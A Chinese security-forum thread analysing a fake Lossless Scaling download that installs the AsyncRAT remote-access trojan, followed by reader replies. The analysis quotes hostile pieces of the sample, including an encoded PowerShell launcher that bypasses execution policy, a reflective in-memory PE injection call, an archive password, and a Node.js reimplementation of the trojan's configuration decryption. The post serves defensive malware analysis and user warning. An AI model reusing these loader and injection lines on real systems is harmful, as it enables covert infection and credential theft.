吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5870|回复: 75
上一主题 下一主题
收起左侧

[PC样本分析] Lossless Scaling 冒牌货小黄鸭分析

  [复制链接]
跳转到指定楼层
楼主
MicroBlock 发表于 2025-2-7 03:05 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 MicroBlock 于 2025-2-7 03:27 编辑

冒牌货官网:https://lossless-scaling.com/
在必应/Google第一页第一个,都是它,非常恶心

下载得到一个 .iso,挂载 iso 如下


打开 bat 文件,发现是加密过的


直接编辑 powershell 到 echo,加个pause,发现执行了如下指令
"$b='"cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyAtRmlsZSBsYW5ndWFnZS93aW5feC5wczE="';Invoke-Expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b)))"

解码base64得到如下命令行
powershell -ExecutionPolicy Bypass -File language/win_x.ps1


找到对应文件,内容如下




逻辑很简单
1. 主要文件被藏在 en-US 和 uk-UA 两个语言文件夹下
2. 复制到了 C:\Users\Public\IObitUnlocker 和 C:\Program Files (x86)\Lossless Scaling
3. 注册了原版小黄鸭的 Steam ID,使其在steam上显示为已安装
4. 执行了另一个脚本

再看另一个脚本 Win.ps1

(还tm有注释,这是哪国语言啊)

1.  添加 Microsoft Defender 豁免文件夹(惯用操作了)
2.

尝试关闭一堆杀毒软件
3. 给 C:\Users\Public\IObitUnlocker\Loader.vbs 添加开机自启动

接下来魔幻的东西来了



EN.dll 是一个 RAR 文件
RU.dll 是一个 vb 脚本
UK.dll 和 Win.ps1 内容一样,是一个ps1脚本



rar 有密码,在 UK.dll 内直接找到密码 ahmad..123




内有loader等,继续拆

有一个 Report.ps1





同样 IEX 换成 echo 搞定真实内容


内有一个恶意二进制
使用
[Reflection.Assembly]::Load($WTYX3).GetType('NewPE.PE').GetMethod('Execute').Invoke($null,[object[]] ('C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe',$GFFHY4))
动态在内存中生成 PE 文件并执行,其中WTYX3和GFFHY4应该都是可执行文件,WTYX3看起来就是个loader,先不管,我们先把 GFFHY4拿出来
[System.IO.File]::WriteAllBytes("$PWD/payload.bin", $GFFHY4)


很小一个,拖进 BN

结果发现是 C# 写的,关掉BN,拖进 dnSpy



随便看看,就有各种嫌疑代码


1. 给自己设置最高等级的开机自启动



2. 加密网络流


注意 230 行处,以收到的命令为参数启动线程

3. 接收到的远程执行命令全流程

4. 更多来自攻击者的命令接收
这里使用了明文,非常明显了
-  关闭 UAC
- 读取所有 Cookies,本地密码管理器内存储的密码并上传
- 从主控端下载文件并执行
- 更多动态编译的功能,这里就不细看了

5. 服务器


稍微跟一下,可以发现这个服务器地址是 AES 加密的,而

密钥只是一个简单的base64,解码为:Z3Qm1zzkkXh9HzsJWTLeTHla4tCQk5jQ

我们直接照着他的算法抄一份 Node.JS 的

const crypto = require('crypto');
function VXoXrMatOspJbEgD(rAMDwziHxfjPkEqd, key, hmacKey) {
    if (!rAMDwziHxfjPkEqd) {
        throw new Error("input can not be null.");
    }
    const memoryStream = Buffer.from(rAMDwziHxfjPkEqd);
    // HMAC-SHA256 verification
    const hmac = crypto.createHmac('sha256', hmacKey);
    hmac.update(memoryStream.slice(32));
    const computedHmac = hmac.digest();
    const receivedHmac = memoryStream.slice(0, 32);
    if (!crypto.timingSafeEqual(computedHmac, receivedHmac)) {
        throw new Error("Invalid message authentication code (MAC).");
    }
    // Extract IV and encrypted data
    const iv = memoryStream.slice(32, 48);
    const encryptedData = memoryStream.slice(48);
    // AES-256-CBC decryption
    const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
    decipher.setAutoPadding(true); // PKCS7 padding
    let decrypted = decipher.update(encryptedData);
    decrypted = Buffer.concat([decrypted, decipher.final()]);
    return decrypted;
}

function orsaLNQpzbmXvuC(masterKey) {
    if (!masterKey) {
        throw new Error("masterKey can not be null or empty.");
    }
    const salt = Buffer.from([
        191, 235, 30, 86, 251, 205, 151, 59, 178, 25,
        2, 36, 48, 165, 120, 67, 0, 61, 86, 68,
        210, 30, 98, 185, 212, 241, 128, 231, 230, 195,
        57, 65
    ]);
    const iterations = 50000;
    const keyLength = 96;
    const derivedKey = crypto.pbkdf2Sync(masterKey, salt, iterations, keyLength, 'sha1');
    const FPgveyeVEBdL = derivedKey.slice(0, 32);
    const piWLIFgMuOZQB = derivedKey.slice(32, 96);
    return { FPgveyeVEBdL, piWLIFgMuOZQB };
}
const masterKey = 'Z3Qm1zzkkXh9HzsJWTLeTHla4tCQk5jQ';
const { FPgveyeVEBdL, piWLIFgMuOZQB } = orsaLNQpzbmXvuC(masterKey);
console.log('FPgveyeVEBdL:', FPgveyeVEBdL.toString('hex'));
console.log('piWLIFgMuOZQB:', piWLIFgMuOZQB.toString('hex'));

const encryptedData = Buffer.from('bMr+Y2AOU65oA+bQQrFw2tIu6n1LeVvNQOPAQH6LxOPChy/ONUWcUFSMvLVFl6FYYXtRqVAV7SxbVHm37Mpz6Q==', 'base64');
const key = Buffer.from(FPgveyeVEBdL, 'hex');
const hmacKey = Buffer.from(piWLIFgMuOZQB, 'hex');
try {
    const decryptedData = VXoXrMatOspJbEgD(encryptedData, key, hmacKey);
    console.log('Decrypted data:', decryptedData.toString('utf8'));
} catch (error) {
    console.error('Decryption failed:', error.message);
}


直接解码得到远控地址:e***6.g***e.com
还可以解码出一些其它信息,应该是木马的配置文件(这TM还是预制木马?)


这时候我们再回头来看另一个二进制文件,很容易就发现它是一个 ProjFUD Injector,将另外一个 Payload 注入到 .net 的 compiler 里面

非常明显,这就是一个 RAT 远控肉鸡木马,将特征上网搜索后可知,该木马归属于 AsyncRAT。

各位坛友下软件时一定要小心,这种看起来就很可疑的软件就不要执行了
另外,已经下载执行了的朋友个人建议首先退出所有登录了的账号,修改所有账号的密码,然后直接全盘清空重装,这种会在你电脑上下别的病毒的病毒,你说不清楚他到底都干了些啥。

这个样本的分析难度较低,主要难点依然在于分析两个混淆很严重的二进制,但是由于是 C#,难度也直线下降了;本次分析我没有用到动态分析,主要是懒。目标除了脑子比较抽象,都很常规

免费评分

参与人数 53威望 +1 吾爱币 +77 热心值 +47 收起 理由
xiebaiyuan + 1 + 1 用心讨论,共获提升!
coderLzh + 1 我很赞同!
Junzhou + 1 + 1 我很赞同!
Kaipoluo + 1 + 1 感谢大佬避雷!
FishSensei + 1 + 1 我很赞同!
Xiaobei123 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
c1rcle + 1 + 1 大佬牛蛙
hzb1 + 1 + 1 谢谢@Thanks!
mwmsnbmht + 1 + 1 用心讨论,共获提升!
rosm + 1 + 1 谢谢@Thanks!
predatorZ + 1 + 1 我很赞同!
ninja2ren + 1 + 1 用心讨论,共获提升!
CRAflysnow1213 + 1 + 1 谢谢@Thanks!
silenter6speake + 1 我很赞同!
Fadelog + 1 + 1 我很赞同!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
DawnXi + 1 + 1 我很赞同!
XXXish + 1 + 1 用心讨论,共获提升!
jason2436 + 1 + 1 分析得很专业
kyzdlc + 1 谢谢@Thanks!
minghan0313 + 1 + 1 我很赞同!
caobuwai + 1 + 1 用心讨论,共获提升!
繁花似锦丿遇见 + 1 用心讨论,共获提升!
yuxinmo + 1 + 1 用心讨论,共获提升!
TAOGLA + 2 + 1 用心讨论,共获提升!
LIUWEN4418 + 1 + 1 我很赞同!
拼尽此生欢 + 1 + 1 我很赞同!
amwfndp + 1 + 1 我很赞同!
青鸢 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
JUSTOMATO + 1 谢谢@Thanks!
75212684 + 1 + 1 谢谢@Thanks!
mlxgzzz + 1 + 1 鼓励转贴优秀软件安全工具和文档!
allspark + 1 + 1 用心讨论,共获提升!
ccgao + 1 + 1 谢谢@Thanks!
82pdZLFmVXK + 1 + 1 谢谢@Thanks!
你好,再见 + 3 + 1 用心讨论,共获提升!
Tonyha7 + 2 + 1 谢谢@Thanks!
rockboy82 + 1 + 1 谢谢@Thanks!
杨辣子 + 1 + 1 谢谢@Thanks!
nanxuan601 + 1 + 1 谢谢@Thanks!
Minesa + 1 + 1 用心讨论,共获提升!
Coxxs + 3 + 1 谢谢@Thanks!
rikka + 1 + 1 用心讨论,共获提升!
asq56747277 + 1 + 1 我很赞同!
linqiu431 + 1 我很赞同!
lj0822 + 1 + 1 我很赞同!
滑稽pro + 1 + 1 std强强💗
龙山的阿明 + 1 我很赞同!
yanjiangmangguo + 1 热心回复!
610100 + 3 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
wshq + 1 + 1 谢谢@Thanks!
shihuyuan + 1 + 1 我很赞同!
怜渠客 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
Dream_Peng 发表于 2025-2-7 14:11
分析得很专业。我完全看不懂
推荐
chengguanheihua 发表于 2025-2-10 18:11
https://lossless-scaling.cybar.xyz/#screenshots 这个网址下的扫出来是下面这个

https://s.threatbook.com/report/file/231ea35a10bb693b91eb2f1f520279fc85e6e3dcd8df0999d365b4fc8b7c60a6  显示安全,应该没问题吧?有没有大佬分析一下
沙发
ziyuejun 发表于 2025-2-7 10:42
3#
Miracle0927 发表于 2025-2-7 11:52
感谢分享 这个太容易上当了 毕竟还是google第一个
4#
超逸绝尘 发表于 2025-2-7 13:10
分析的非常专业
6#
plutoxxy 发表于 2025-2-7 14:49
有些dy和阿B的博主教程放的都是这个网址
7#
nowns 发表于 2025-2-7 15:10
plutoxxy 发表于 2025-2-7 14:49
有些dy和阿B的博主教程放的都是这个网址

那就不知道是故意的,还是不小心的了
8#
eiyou 发表于 2025-2-7 15:32
google第一个这是咋做到的
9#
hqt 发表于 2025-2-7 15:35
10#
Debug4 发表于 2025-2-7 17:54
分析的非常专业
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-5-30 03:07

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表